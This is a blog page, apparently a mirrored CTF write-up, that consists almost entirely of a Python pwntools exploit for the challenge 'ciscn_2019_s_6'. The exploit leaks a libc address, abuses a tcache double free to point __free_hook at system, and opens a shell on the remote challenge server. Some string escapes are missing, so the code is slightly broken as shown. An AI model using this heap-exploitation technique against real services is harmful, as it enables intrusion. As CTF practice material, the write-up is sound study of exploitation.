zoukankan      html  css  js  c++  java
  • ciscn_2019_s_6

    exp

    from pwn_debug import *
    
    context.binary = './ciscn_s_6'
    context.log_level = 'debug'
    
    
    pdbg = pwn_debug('./ciscn_s_6')
    pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',
    '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
    pdbg.remote('node3.buuoj.cn',29810)
    #p = pdbg.run('local')
    p = pdbg.run('remote')
    #libc = pdbg.libc
    libc = ELF('./libc/libc-2.27.so')
    elf = ELF('./ciscn_s_6')
    #elf = pdbg.elf
    
    def add(size,name,number):
        p.sendlineafter('choice:',str(1))
        p.sendlineafter("Please input the size of compary's name",str(size))
        p.sendafter('please input name:',name)
        p.sendafter('please input compary call:',number)
        
    def show(idx):
        p.sendlineafter('choice:',str(2))
        p.sendlineafter('Please input the index:',str(idx))
    
    def delete(idx):
        p.sendlineafter('choice:',str(3))
        p.sendlineafter('Please input the index:',str(idx))
    
    add(0x90,'aaaa','1111')# 0
    add(0x20,'bbbb','1111')# 1
    for i in range(7):
        delete(0)
    
    delete(0)
    show(0)
    
    p.recvuntil('name:')
    unsorted_addr = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    
    print 'unsorted_addr:' + hex(unsorted_addr)
    libcbase = unsorted_addr - 0x3ebca0
    free_hook = libcbase + libc.symbols['__free_hook']
    system = libcbase + libc.symbols['system']
    print 'free_hook:'+hex(free_hook)
    print 'system:' +hex(system)
    
    delete(1)
    delete(1)
    
    add(0x20,p64(free_hook),'1111')# 2
    add(0x20,'bbbb','1111')# 3
    add(0x20,p64(system),'1111')# 4
    add(0x20,'/bin/shx00','1111')# 5
    delete(5)
    #gdb.attach(p)
    
    p.interactive()
    
  • 相关阅读:
    翻转二叉树 递归
    移动零 双指针
    多数元素
    laravel 使用PhantomMagick导出pdf ,在Linux下安装字体
    jQuery验证控件jquery.validate.js汉化
    windows 下使用Linux子系统
    Oracle12C RAC数据库grid&Oracle打补丁升级指导-来自ORACLE官方文档
    关于oracle数据库性能监控指标
    oracle在线添加日志组和日志组成员
    chr(39)表示单引'
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13504419.html
Copyright © 2011-2022 走看看